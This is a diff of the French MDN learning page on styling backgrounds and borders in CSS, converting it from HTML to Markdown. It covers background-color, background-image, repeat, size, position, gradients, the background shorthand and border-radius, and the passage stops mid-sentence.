CSS. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Compétences informatique basiques, <a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">logiciels de base installés</a>, connaissance simple en <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files">manipulation de fichiers</a>, les bases du HTML (voir <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction au HTML</a>), et une esquisse du fonctionnement du CSS (voir <a href="/fr/docs/Learn/CSS/First_steps">premiers pas en CSS</a>. )</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Apprendre comment mettre en forme l'arrière-plan et les bordures.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Compétences informatique basiques, + <a + href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software" + >logiciels de base installés</a + >, connaissance simple en + <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files" + >manipulation de fichiers</a + >, les bases du HTML (voir + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >Introduction au HTML</a + >), et une esquisse du fonctionnement du CSS (voir + <a href="/fr/docs/Learn/CSS/First_steps">premiers pas en CSS</a>. ) + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td>Apprendre comment mettre en forme l'arrière-plan et les bordures.</td> + </tr> + </tbody> </table> -<h2 id="styling_backgrounds_in_css">Mettre en forme l'arrière-plan avec CSS</h2> +## Mettre en forme l'arrière-plan avec CSS -<p>La propriété CSS <a href="/fr/docs/Web/CSS/background"><code>background</code></a> est un raccourci pour une famille de propriétés concernant l'arrière-plan. Nous les explorons dans cette partie. On peut rencontrer dans une feuille de style des déclarations de la propriété <code>background</code> difficiles à analyser, tant le nombre de valeurs qu'on peut lui passer est important.</p> +La propriété CSS [`background`](/fr/docs/Web/CSS/background) est un raccourci pour une famille de propriétés concernant l'arrière-plan. Nous les explorons dans cette partie. On peut rencontrer dans une feuille de style des déclarations de la propriété `background` difficiles à analyser, tant le nombre de valeurs qu'on peut lui passer est important. -<pre class="brush: css">.box { +```css +.box { background: linear-gradient(105deg, rgba(255,255,255,.2) 39%, rgba(51,56,57,1) 96%) center center / 400px 200px no-repeat, url(big-star.png) center no-repeat, rebeccapurple; -}</pre> +} +``` -<p>Nous reviendrons un peu plus loin sur le fonctionnement des raccourcis. Pour l'instant, passons en revue les propriétés CSS des arrière-plans.</p> +Nous reviendrons un peu plus loin sur le fonctionnement des raccourcis. Pour l'instant, passons en revue les propriétés CSS des arrière-plans. -<h3 id="background_colors">Couleurs d'arrière-plan</h3> +### Couleurs d'arrière-plan -<p>La propriété <a href="/fr/docs/Web/CSS/background-color"><code>background-color</code></a> définit la couleur d'arrière-plan d'un élément HTML. La propriété accepte comme valeur n'importe quelle <code><a href="/fr/docs/Web/CSS/color_value"><color></a></code>. La <code>background-color</code> s'étend sous le contenu dans la zone de remplissage (padding box) de l'élément.</p> +La propriété [`background-color`](/fr/docs/Web/CSS/background-color) définit la couleur d'arrière-plan d'un élément HTML. La propriété accepte comme valeur n'importe quelle [`<color>`](/fr/docs/Web/CSS/color_value). La `background-color` s'étend sous le contenu dans la zone de remplissage (padding box) de l'élément. -<p>Dans l'exemple ci-dessous, nous ajoutons des couleurs de fond à une boîte, un titre et un élément <a href="/fr/docs/Web/HTML/Element/span"><code><span></code></a>.</p> +Dans l'exemple ci-dessous, nous ajoutons des couleurs de fond à une boîte, un titre et un élément [`<span>`](/fr/docs/Web/HTML/Element/span). -<p><strong>Expérimentez avec ce code, en faisant varier les valeurs <a href="/fr/docs/Web/CSS/color_value"><color></a> dans les différentes déclarations.</strong></p> +**Expérimentez avec ce code, en faisant varier les valeurs [\<color>](/fr/docs/Web/CSS/color_value) dans les différentes déclarations.** -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/color.html", '100%', 700)}}</p> +{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/color.html", '100%', 700)}} -<h3 id="background_images">Images d'arrière-plan</h3> +### Images d'arrière-plan -<p>La propriété <a href="/fr/docs/Web/CSS/background-image"><code>background-image</code></a> permet d'afficher une image dans l'arrière-plan d'un élément. L'exemple ci-dessous montre deux boîtes — l'une avec une image de fond trop grande (<a href="https://mdn.github.io/css-examples/learn/backgrounds-borders/balloons.jpg">balloons.jpg</a>), l'autre avec comme fond une petite image représentant une étoile (<a href="https://mdn.github.io/css-examples/learn/backgrounds-borders/star.png">star.png</a>).</p> +La propriété [`background-image`](/fr/docs/Web/CSS/background-image) permet d'afficher une image dans l'arrière-plan d'un élément. L'exemple ci-dessous montre deux boîtes — l'une avec une image de fond trop grande ([balloons.jpg](https://mdn.github.io/css-examples/learn/backgrounds-borders/balloons.jpg)), l'autre avec comme fond une petite image représentant une étoile ([star.png](https://mdn.github.io/css-examples/learn/backgrounds-borders/star.png)). -<p>Cet exemple illustre deux points concernant l'utilisation d'images de fond. Par défaut, une image trop large n'est pas redimensionnée pour correspondre aux dimensions de la boîte, on n'en voit qu'un coin, alors qu'une image de fond ne remplissant pas la boîte sera automatiquement répétée en pavage pour occuper tout l'espace disponible. Dans l'exemple, l'image d'origine est juste une étoile.</p> +Cet exemple illustre deux points concernant l'utilisation d'images de fond. Par défaut, une image trop large n'est pas redimensionnée pour correspondre aux dimensions de la boîte, on n'en voit qu'un coin, alors qu'une image de fond ne remplissant pas la boîte sera automatiquement répétée en pavage pour occuper tout l'espace disponible. Dans l'exemple, l'image d'origine est juste une étoile. -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background-image.html", '100%', 700)}}</p> +{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background-image.html", '100%', 700)}} -<p><strong>Si on spécifie une couleur de fond en plus de l'image de fond, l'image s'affiche par-dessus la couleur. Expérimentez ce comportement en ajoutant une propriété </strong><code>background-color</code><strong> dans l'exemple ci-dessus.</strong></p> +**Si on spécifie une couleur de fond en plus de l'image de fond, l'image s'affiche par-dessus la couleur. Expérimentez ce comportement en ajoutant une propriété** `background-color` **dans l'exemple ci-dessus.** -<h4 id="controlling_background-repeat">Contrôler la répétition de l'arrière-plan</h4> +#### Contrôler la répétition de l'arrière-plan -<p>La propriété <a href="/fr/docs/Web/CSS/background-repeat"><code>background-repeat</code></a> permet de contrôler la répétition d'image pour former des pavages. Les valeurs possibles sont :</p> +La propriété [`background-repeat`](/fr/docs/Web/CSS/background-repeat) permet de contrôler la répétition d'image pour former des pavages. Les valeurs possibles sont : -<ul> - <li><code>no-repeat</code> — aucune répétition de l'arrière-plan.</li> - <li><code>repeat-x</code> — répétition horizontale.</li> - <li><code>repeat-y</code> — répétition verticale.</li> - <li><code>repeat</code> — comportement par défaut : répétition dans les deux directions.</li> -</ul> +- `no-repeat` — aucune répétition de l'arrière-plan. +- `repeat-x` — répétition horizontale. +- `repeat-y` — répétition verticale. +- `repeat` — comportement par défaut : répétition dans les deux directions. -<p><strong>Expérimentez l'effet de ces valeurs dans l'exemple ci-dessous. La valeur est fixée à <code>no-repeat</code>, une seule étoile apparaît donc. Remplacez par <code>repeat-x</code> et <code>repeat-y</code> et observez.</strong></p> +**Expérimentez l'effet de ces valeurs dans l'exemple ci-dessous. La valeur est fixée à `no-repeat`, une seule étoile apparaît donc. Remplacez par `repeat-x` et `repeat-y` et observez.** -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/repeat.html", '100%', 600)}}</p> +{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/repeat.html", '100%', 600)}} -<h4 id="sizing_the_background_image">Dimensionner l'image de fond</h4> +#### Dimensionner l'image de fond -<p>Dans l'exemple ci-dessus on voit qu'une image d'arrière-plan est recadrée quand elle dépasse de l'élément dont elle est le fond. Dans un tel cas, la propriété <a href="/fr/docs/Web/CSS/background-size"><code>background-size</code></a> — avec comme valeur une <a href="/fr/docs/Web/CSS/length">longueur</a> ou un <a href="/fr/docs/Web/CSS/percentage">pourcentage</a>, permet d'adapter l'image à l'élément pour en occuper tout le fond.</p> +Dans l'exemple ci-dessus on voit qu'une image d'arrière-plan est recadrée quand elle dépasse de l'élément dont elle est le fond. Dans un tel cas, la propriété [`background-size`](/fr/docs/Web/CSS/background-size) — avec comme valeur une [longueur](/fr/docs/Web/CSS/length) ou un [pourcentage](/fr/docs/Web/CSS/percentage), permet d'adapter l'image à l'élément pour en occuper tout le fond. -<p>On peut aussi utiliser les mots-clé :</p> +On peut aussi utiliser les mots-clé : -<ul> - <li><code>cover</code> — le navigateur redimensionne l'image pour que tout le fond soit couvert, en conservant le format de l'image. La plupart du temps, une partie de l'image est en dehors de la boîte.</li> - <li><code>contain</code> — le navigateur donne à l'image la plus grande taille possible à l'intérieur de la boîte. Quand le format de l'image ne coïncide pas avec celui de la boîte, on se retrouve avec des bandes laissées vides en haut et en bas ou sur les côtés de l'image.</li> -</ul> +- `cover` — le navigateur redimensionne l'image pour que tout le fond soit couvert, en conservant le format de l'image. La plupart du temps, une partie de l'image est en dehors de la boîte. +- `contain` — le navigateur donne à l'image la plus grande taille possible à l'intérieur de la boîte. Quand le format de l'image ne coïncide pas avec celui de la boîte, on se retrouve avec des bandes laissées vides en haut et en bas ou sur les côtés de l'image. -<p>Dans l'exemple ci-dessous, l'image trop grande vue plus haut est retaillée aux dimensions de la boîte en précisant les valeurs numériques des côtés. On voit comment cela a déformé l'image.</p> +Dans l'exemple ci-dessous, l'image trop grande vue plus haut est retaillée aux dimensions de la boîte en précisant les valeurs numériques des côtés. On voit comment cela a déformé l'image. -<p>Essayez ce qui suit :</p> +Essayez ce qui suit : -<ul> - <li>Changez les dimensions de l'arrière-plan.</li> - <li>Supprimez les dimensions numériques et observez ce qui se passe en les remplaçant par <code>background-size: cover</code> ou <code>background-size: contain</code>.</li> - <li>Si votre image est plus petite que la boîte, vous pouvez changer la valeur de <code>background-repeat</code> pour répéter l'image.</li> -</ul> +- Changez les dimensions de l'arrière-plan. +- Supprimez les dimensions numériques et observez ce qui se passe en les remplaçant par `background-size: cover` ou `background-size: contain`. +- Si votre image est plus petite que la boîte, vous pouvez changer la valeur de `background-repeat` pour répéter l'image. -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/size.html", '100%', 800)}}</p> +{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/size.html", '100%', 800)}} -<h4 id="positioning_the_background_image">Positionner l'image de fond</h4> +#### Positionner l'image de fond -<p>La propriété <a href="/fr/docs/Web/CSS/background-position"><code>background-position</code></a> permet de choisir la position de l'arrière-plan à l'intérieur de la boîte dans laquelle il est appliqué. On utilise pour cela un système de coordonnées avec l'origine <code>(0,0)</code> au coin en haut à gauche de la boîte, l'axe (<code>x</code>) étant horizontal, l'axe (<code>y</code>) vertical.</p> +La propriété [`background-position`](/fr/docs/Web/CSS/background-position) permet de choisir la position de l'arrière-plan à l'intérieur de la boîte dans laquelle il est appliqué. On utilise pour cela un système de coordonnées avec l'origine `(0,0)` au coin en haut à gauche de la boîte, l'axe (`x`) étant horizontal, l'axe (`y`) vertical. -<div class="note"> -<p><strong>Note :</strong> La valeur par défaut de <code>background-position</code> est <code>(0,0)</code>.</p> -</div> +> **Note :** La valeur par défaut de `background-position` est `(0,0)`. -<p>Les valeurs les plus communes pour <code>background-position</code> se présentent sous la forme d'un couple — une valeur horizontale suivie d'une valeur verticale.</p> +Les valeurs les plus communes pour `background-position` se présentent sous la forme d'un couple — une valeur horizontale suivie d'une valeur verticale. -<p>Vous pouvez utiliser les mots-clé tels que <code>top</code> et <code>right</code> (vous trouverez les autres valeurs possibles sur la page <a href="/fr/docs/Web/CSS/background-image"><code>background-image</code></a>) :</p> +Vous pouvez utiliser les mots-clé tels que `top` et `right` (vous trouverez les autres valeurs possibles sur la page [`background-image`](/fr/docs/Web/CSS/background-image)) : -<pre class="brush: css">.box { +```css +.box { background-image: url(star.png); background-repeat: no-repeat; background-position: top center; -}</pre> +} +``` -<p>Ainsi que des valeurs de <a href="/fr/docs/Web/CSS/length">longueurs</a>, ou des <a href="/fr/docs/Web/CSS/percentage">pourcentages</a> :</p> +Ainsi que des valeurs de [longueurs](/fr/docs/Web/CSS/length), ou des [pourcentages](/fr/docs/Web/CSS/percentage) : -<pre class="brush: css">.box { +```css +.box { background-image: url(star.png); background-repeat: no-repeat; background-position: 20px 10%; -}</pre> +} +``` -<p>On peut utiliser simultanément mots-clé, dimensions et pourcentages, par exemple :</p> +On peut utiliser simultanément mots-clé, dimensions et pourcentages, par exemple : -<pre class="brush: css">.box { +```css +.box { background-image: url(star.png); background-repeat: no-repeat; background-position: top 20px; -}</pre> +} +``` -<p>La syntaxe à quatre valeurs enfin permet d'indiquer la distance depuis certains bords de la boîte — dans ce cas, la longueur correspond à un décalage par rapport à la valeur précédente. Par exemple dans le CSS ci-dessous on positionne l'arrière-plan à 20px du haut et à 10px de la droite :</p> +La syntaxe à quatre valeurs enfin permet d'indiquer la distance depuis certains bords de la boîte — dans ce cas, la longueur correspond à un décalage par rapport à la valeur précédente. Par exemple dans le CSS ci-dessous on positionne l'arrière-plan à 20px du haut et à 10px de la droite : -<pre class="brush: css">.box { +```css +.box { background-image: url(star.png); background-repeat: no-repeat; background-position: top 20px right 10px; -}</pre> +} +``` -<p><strong>Dans l'exemple ci-dessous, modifiez les valeurs pour déplacer l'étoile à l'intérieur de la boîte.</strong></p> +**Dans l'exemple ci-dessous, modifiez les valeurs pour déplacer l'étoile à l'intérieur de la boîte.** -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/position.html", '100%', 600)}}</p> +{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/position.html", '100%', 600)}} -<div class="note"> -<p><strong>Note :</strong> <code>background-position</code> est un raccourci pour<a href="/fr/docs/Web/CSS/background-position-x"><code>background-position-x</code></a> et <a href="/fr/docs/Web/CSS/background-position-y"><code>background-position-y</code></a>, qui permettent de fixer individuellement les positions sur chaque axe.</p> -</div> +> **Note :** `background-position` est un raccourci pour[`background-position-x`](/fr/docs/Web/CSS/background-position-x) et [`background-position-y`](/fr/docs/Web/CSS/background-position-y), qui permettent de fixer individuellement les positions sur chaque axe. -<h3 id="gradient_backgrounds">Utiliser un dégradé comme arrière-plan</h3> +### Utiliser un dégradé comme arrière-plan -<p>Un dégradé — quand on l'utilise pour arrière-plan — se comporte comme une image, il se paramètre aussi avec la propriété <a href="/fr/docs/Web/CSS/background-image"><code>background-image</code></a>.</p> +Un dégradé — quand on l'utilise pour arrière-plan — se comporte comme une image, il se paramètre aussi avec la propriété [`background-image`](/fr/docs/Web/CSS/background-image). -<p>Vous en apprendrez plus sur les différents types de dégradés et tout ce qu'on peut faire avec sur la page MDN consacrée au type <code><a href="/fr/docs/Web/CSS/gradient"><gradient></a></code>. Une manière amusante de découvrir les dégradés est d'utiliser l'un des nombreux générateurs de dégradés CSS disponibles en ligne, par exemple <a href="https://cssgradient.io/">celui-là</a>. Créez votre dégradé puis copiez-collez le code source qui l'a généré.</p> +Vous en apprendrez plus sur les différents types de dégradés et tout ce qu'on peut faire avec sur la page MDN consacrée au type [`<gradient>`](/fr/docs/Web/CSS/gradient). Une manière amusante de découvrir les dégradés est d'utiliser l'un des nombreux générateurs de dégradés CSS disponibles en ligne, par exemple [celui-là](https://cssgradient.io/). Créez votre dégradé puis copiez-collez le code source qui l'a généré. -<p>Essayez différents dégradés dans l'exemple ci-dessous. Dans les deux boîtes on trouve respectivement un dégradé linéaire étendu sur toute la boîte et un dégradé circulaire de taille donné, qui du coup se répète.</p> +Essayez différents dégradés dans l'exemple ci-dessous. Dans les deux boîtes on trouve respectivement un dégradé linéaire étendu sur toute la boîte et un dégradé circulaire de taille donné, qui du coup se répète. -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/gradients.html", '100%', 650)}}</p> +{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/gradients.html", '100%', 650)}} -<h3 id="multiple_background_images">Images de fond multiples</h3> +### Images de fond multiples -<p>Il est aussi possible d'ajouter plusieurs images en arrière-plan — il suffit de spécifier plusieurs valeurs pour <code>background-image</code>, chacune séparé par une virgule.</p> +Il est aussi possible d'ajouter plusieurs images en arrière-plan — il suffit de spécifier plusieurs valeurs pour `background-image`, chacune séparé par une virgule. -<p>Quand vous faites cela, il est possible de se retrouver avec plusieurs arrière-plans qui se chevauchent. Les arrière-plans se superposeront les uns sur les autres, avec le dernier se retrouvant sur le dessus, chacun suivant à leur tour, jusqu'au premier.</p> +Quand vous faites cela, il est possible de se retrouver avec plusieurs arrière-plans qui se chevauchent. Les arrière-plans se superposeront les uns sur les autres, avec le dernier se retrouvant sur le dessus, chacun suivant à leur tour, jusqu'au premier. -<div class="note"> -<p><strong>Note :</strong> On peut joyeusement mélanger dégradés et images de fond classiques.</p> -</div> +> **Note :** On peut joyeusement mélanger dégradés et images de fond classiques. -<p>Les autres propriétés <code>background-*</code> peuvent aussi avoir une série de valeurs séparées de virgules, de la même manière que <code>background-image</code>:</p> +Les autres propriétés `background-*` peuvent aussi avoir une série de valeurs séparées de virgules, de la même manière que `background-image`: -<pre class="brush: css">background-image: url(image1.png), url(image2.png), url(image3.png), url(image1.png); +```css +background-image: url(image1.png), url(image2.png), url(image3.png), url(image1.png); background-repeat: no-repeat, repeat-x, repeat; -background-position: 10px 20px, top right;</pre> +background-position: 10px 20px, top right; +``` -<p>Chaque valeur des différentes propriétés va correspondre aux valeurs placées à la même position dans les autres propriétés. Au-dessus, par exemple, la valeur <code>background-repeat</code> de l' <code>image1</code> sera <code>no-repeat</code>. Cependant, qu'arrive-t-il quand différentes propriétés ont différents nombres de valeurs? La réponse est que s'il y a moins de valeurs, elles seront réutilisées — dans l'exemple au-dessus il y a quatre images de fond mais seulement deux valeurs <code>background-position</code>. Les deux premières valeurs seront appliquées aux deux premières images, puis elles seront réutilisées pour les images suivantes — l'<code>image3</code> recevra la première valeur, et l'<code>image4</code> recevra la seconde valeur.</p> +Chaque valeur des différentes propriétés va correspondre aux valeurs placées à la même position dans les autres propriétés. Au-dessus, par exemple, la valeur `background-repeat` de l' `image1` sera `no-repeat`. Cependant, qu'arrive-t-il quand différentes propriétés ont différents nombres de valeurs? La réponse est que s'il y a moins de valeurs, elles seront réutilisées — dans l'exemple au-dessus il y a quatre images de fond mais seulement deux valeurs `background-position`. Les deux premières valeurs seront appliquées aux deux premières images, puis elles seront réutilisées pour les images suivantes — l'`image3` recevra la première valeur, et l'`image4` recevra la seconde valeur. -<p><strong>Jouons un peu. Dans l'exemple ci-dessous j'ai inclus deux images. Afin de visualiser l'ordre d'empilement, essayez d'alterner la première image d'arrière-plan dans la liste. Vous pouvez aussi modifier les autres propriétés afin de changer la position, la taille ou la répétition.</strong></p> +**Jouons un peu. Dans l'exemple ci-dessous j'ai inclus deux images. Afin de visualiser l'ordre d'empilement, essayez d'alterner la première image d'arrière-plan dans la liste. Vous pouvez aussi modifier les autres propriétés afin de changer la position, la taille ou la répétition.** -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/multiple-background-image.html", '100%', 600)}}</p> +{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/multiple-background-image.html", '100%', 600)}} -<h3 id="background_attachment">Défilement de l'arrière-plan</h3> +### Défilement de l'arrière-plan -<p>Une autre option que nous avons à notre disposition pour les arrières-plans est de spécifier comment ils défilent quand le contenu défile lui-même. Ce comportement est contrôlé grâce à la propriété <a href="/fr/docs/Web/CSS/background-attachment"><code>background-attachment</code></a> , qui peut prendre ces valeurs:</p> +Une autre option que nous avons à notre disposition pour les arrières-plans est de spécifier comment ils défilent quand le contenu défile lui-même. Ce comportement est contrôlé grâce à la propriété [`background-attachment`](/fr/docs/Web/CSS/background-attachment) , qui peut prendre ces valeurs: -<ul> - <li><code>scroll</code> : L'arrière-plan de l'élément défile lorsqu'on fait défiler la page. Si le contenu de l'élément défile, l'arrière-plan ne bouge pas. Dans la pratique, l'effet obtenu est que l'arrière-plan est fixé à la position de la page et défile comme elle.</li> - <li><code>fixed</code> : L'arrière-plan de l'élément est fixe dans la zone d'affichage (<i lang="en">viewport</i>) et il ne défile pas lorsqu'on fait défiler ou la page ou le contenu de l'élément. L'arrière-plan reste toujours à la même position sur l'écran.</li> - <li><code>local</code> : Cette valeur fut ajoutée plus tard en raison de la confusion engendrée par la valeur <code>scroll</code> et son comportement qui ne correspond pas aux cas d'usage. <code>local</code> permet de fixer l'arrière-plan sur l'élément sur lequel il est défini afin que, lorsqu'on fait défiler l'élément, l'arrière-plan défile avec lui.</li> -</ul> +- `scroll` : L'arrière-plan de l'élément défile lorsqu'on fait défiler la page. Si le contenu de l'élément défile, l'arrière-plan ne bouge pas. Dans la pratique, l'effet obtenu est que l'arrière-plan est fixé à la position de la page et défile comme elle. +- `fixed` : L'arrière-plan de l'élément est fixe dans la zone d'affichage ( -<p>La propriété <a href="/fr/docs/Web/CSS/background-attachment"><code>background-attachment</code></a> n'a d'effet que lorsque le contenu défile. Pour observer cet effet, nous avons construit une démo afin d'illustrer les différences entre les trois valeurs : <a href="https://mdn.github.io/learning-area/css/styling-boxes/backgrounds/background-attachment.html">background-attachment.html</a> (vous pouvez également consulter <a href="https://github.com/mdn/learning-area/tree/master/css/styling-boxes/backgrounds">le code source de cette démo</a>).</p> + <i lang="en">viewport</i> -<h3 id="using_the_background_shorthand_property">Utiliser la propriété raccourcie background</h3> + ) et il ne défile pas lorsqu'on fait défiler ou la page ou le contenu de l'élément. L'arrière-plan reste toujours à la même position sur l'écran. -<p>Comme mentionné au début de cet article, vous verrez souvent des arrières-plans définis grâce à la propriété <a href="/fr/docs/Web/CSS/background"><code>background</code></a>. Cette propriété raccourcie permet de définir les différentes propriétés en une seule déclaration.</p> +- `local` : Cette valeur fut ajoutée plus tard en raison de la confusion engendrée par la valeur `scroll` et son comportement qui ne correspond pas aux cas d'usage. `local` permet de fixer l'arrière-plan sur l'élément sur lequel il est défini afin que, lorsqu'on fait défiler l'élément, l'arrière-plan défile avec lui. -<p>Si vous utilisez plusieurs arrières-plans, vous devrez indiquer toutes les propriétés pour le premier arrière-plan puis ajouter l'arrière-plan suivant après une virgule. Dans l'exemple qui suit, on a un dégradé avec une taille et une position puis une image d'arrière-plan avec <code>no-repeat</code> et un position et enfin une couleur d'arrière-plan.</p> +La propriété [`background-attachment`](/fr/docs/Web/CSS/background-attachment) n'a d'effet que lorsque le contenu défile. Pour observer cet effet, nous avons construit une démo afin d'illustrer les différences entre les trois valeurs : [background-attachment.html](https://mdn.github.io/learning-area/css/styling-boxes/backgrounds/background-attachment.html) (vous pouvez également consulter [le code source de cette démo](https://github.com/mdn/learning-area/tree/master/css/styling-boxes/backgrounds)). -<p>Quelques règles sont à respecter lorsqu'on déclare des images d'arrière-plan avec cette propriété raccourcie :</p> +### Utiliser la propriété raccourcie background -<ul> - <li>La valeur pour <code>background-color</code> ne peut être définie qu'après la virgule finale.</li> - <li>La valeur pour <code>background-size</code> ne peut être incluse qu'immédiatement après celle <code>background-position</code> en la séparant de celle-ci avec une barre oblique (« / »), par exemple : <code>center/80%</code>.</li> -</ul> +Comme mentionné au début de cet article, vous verrez souvent des arrières-plans définis grâce à la propriété [`background`](/fr/docs/Web/CSS/background). Cette propriété raccourcie permet de définir les différentes propriétés en une seule déclaration. -<p>N'hésitez pas à consulter la page de documentation pour <a href="/fr/docs/Web/CSS/background"><code>background</code></a> qui détaille ces différents points.</p> +Si vous utilisez plusieurs arrières-plans, vous devrez indiquer toutes les propriétés pour le premier arrière-plan puis ajouter l'arrière-plan suivant après une virgule. Dans l'exemple qui suit, on a un dégradé avec une taille et une position puis une image d'arrière-plan avec `no-repeat` et un position et enfin une couleur d'arrière-plan. -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background.html", '100%', 850)}}</p> +Quelques règles sont à respecter lorsqu'on déclare des images d'arrière-plan avec cette propriété raccourcie : -<h3 id="accessibility_considerations_with_backgrounds">Arrière-plans et accessibilité</h3> +- La valeur pour `background-color` ne peut être définie qu'après la virgule finale. +- La valeur pour `background-size` ne peut être incluse qu'immédiatement après celle `background-position` en la séparant de celle-ci avec une barre oblique (« / »), par exemple : `center/80%`. -<p>Quand on place un texte sur une image ou une couleur de fond, il faut s'assurer d'un contraste suffisant pour une bonne lisibilité. Quand un texte est écrit par-dessus une image, déclarez toujours une <code>background-color</code> qui rendra le texte lisible si l'image n'est pas chargée.</p> +N'hésitez pas à consulter la page de documentation pour [`background`](/fr/docs/Web/CSS/background) qui détaille ces différents points. -<p>Les lecteurs d'écran ne traitent pas les images de fond, elles ne doivent donc pas être autre chose que décoratives ; tout contenu important doit faire partie de la page HTML et pas de la mise en forme du fond.</p> +{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background.html", '100%', 850)}} -<h2 id="borders">Bordures</h2> +### Arrière-plans et accessibilité -<p>Lors de l'apprentissage du modèle de boîte, on a pu voir comment les bordures jouaient un rôle sur la taille de la boîte. Dans cette leçon, nous allons voir comment créer des bordures. Généralement, lorsqu'on ajoute des bordures à un élément avec CSS, on utilise une propriété raccourcie qui définit la couleur, l'épaisseur et le style de la bordure.</p> +Quand on place un texte sur une image ou une couleur de fond, il faut s'assurer d'un contraste suffisant pour une bonne lisibilité. Quand un texte est écrit par-dessus une image, déclarez toujours une `background-color` qui rendra le texte lisible si l'image n'est pas chargée. -<p>On peut définir une bordure pour les quatre côtés d'une boîte avec la propriété <a href="/fr/docs/Web/CSS/border"><code>border</code></a> :</p> +Les lecteurs d'écran ne traitent pas les images de fond, elles ne doivent donc pas être autre chose que décoratives ; tout contenu important doit faire partie de la page HTML et pas de la mise en forme du fond. -<pre class="brush: css">*.box { +## Bordures + +Lors de l'apprentissage du modèle de boîte, on a pu voir comment les bordures jouaient un rôle sur la taille de la boîte. Dans cette leçon, nous allons voir comment créer des bordures. Généralement, lorsqu'on ajoute des bordures à un élément avec CSS, on utilise une propriété raccourcie qui définit la couleur, l'épaisseur et le style de la bordure. + +On peut définir une bordure pour les quatre côtés d'une boîte avec la propriété [`border`](/fr/docs/Web/CSS/border) : + +```css +*.box { border: 1px solid black; -}*</pre> +}* +``` -<p>On peut aussi cibler un seul des côtés de la boîte, par exemple :</p> +On peut aussi cibler un seul des côtés de la boîte, par exemple : -<pre class="brush: css">.box { +```css +.box { border-top: 1px solid black; -}</pre> +} +``` -<p>Les propriétés individuelles équivalentes pour ces notations raccourcies seraient :</p> +Les propriétés individuelles équivalentes pour ces notations raccourcies seraient : -<pre class="brush: css">.box { +```css +.box { border-width: 1px; border-style: solid; border-color: black; -}</pre> +} +``` -<p>Pour la propriété qui concerne un des côtés :</p> +Pour la propriété qui concerne un des côtés : -<pre class="brush: css">.box { +```css +.box { border-top-width: 1px; border-top-style: solid; border-top-color: black; -}</pre> +} +``` -<div class="note"> -<p><strong>Note :</strong> Ces propriétés pour les bordures des côtés haut, droit, bas et gauche ont également des propriétés équivalentes <em>logiques</em> qui ciblent les différents côtés de la boîte en fonction du mode d'écriture du document (par exemple de gauche à droite, de droite à gauche ou bien encore de haut en bas). Nous aborderons celles-ci dans la prochaine leçon qui traitera <a href="/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">de la directionnalité du texte</a>.</p> -</div> +> **Note :** Ces propriétés pour les bordures des côtés haut, droit, bas et gauche ont également des propriétés équivalentes _logiques_ qui ciblent les différents côtés de la boîte en fonction du mode d'écriture du document (par exemple de gauche à droite, de droite à gauche ou bien encore de haut en bas). Nous aborderons celles-ci dans la prochaine leçon qui traitera [de la directionnalité du texte](/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions). -<p><strong>Il existe différents styles qui peuvent être utilisés pour les bordures. Dans l'exemple qui suit, nous avons utilisé un style différent pour chacun des côtés de la boîte. N'hésitez pas à modifier l'exemple pour modifier le style, l'épaisseur et la couleur afin de voir comment les bordures fonctionnent.</strong></p> +**Il existe différents styles qui peuvent être utilisés pour les bordures. Dans l'exemple qui suit, nous avons utilisé un style différent pour chacun des côtés de la boîte. N'hésitez pas à modifier l'exemple pour modifier le style, l'épaisseur et la couleur afin de voir comment les bordures fonctionnent.** -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/borders.html", '100%', 750)}}</p> +{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/borders.html", '100%', 750)}} -<h3 id="rounded_corners">Coins arrondis</h3> +### Coins arrondis -<p>On peut arrondir les coins d'une boîte avec la propriété <a href="/fr/docs/Web/CSS/border-radius"><code>border-radius</code></a> ou les propriétés détaillées correspondantes (une pour chaque coin de la boîte). Cette propriété peut s'utiliser avec deux longueurs ou pourcentages : la première de ces valeurs définit le rayon horizontal et la seconde le rayon vertical. Dans de nombreux cas, on utilisera une seule valeur qui sera alors utilisée pour les deux rayons de courbure.</p> +On peut arrondir les coins d'une boîte avec la propriété [`border-radius`](/fr/docs/Web/CSS/border-radius) ou les propriétés détaillées correspondantes (une pour chaque coin de la boîte). Cette propriété peut s'utiliser avec deux longueurs ou pourcentages : la première de ces valeurs définit le rayon horizontal et la seconde le rayon vertical. Dans de nombreux cas, on utilisera une seule valeur qui sera alors utilisée pour les deux rayons de courbure. -<p>Par exemple, pour donner par exemple un rayon de 10px à chacun des quatre coins :</p> +Par exemple, pour donner par exemple un rayon de 10px à chacun des quatre coins : -<pre class="brush: css">.box { +```css +.box { border-radius: 10px; -}</pre> +} +``` -<p>Ou pour donner au coin en haut à droite un rayon horizontal de 1em et un rayon vertical de 10% :</p> +Ou pour donner au coin en haut à droite un rayon horizontal de 1em et un rayon vertical de 10% : -<pre class="brush: css">.box { +```css +.box { border-top-right-radius: 1em 10%; -}</pre> +} +``` + +Dans l'exemple ci-dessus, nous avons d'abord fixé la valeur pour les 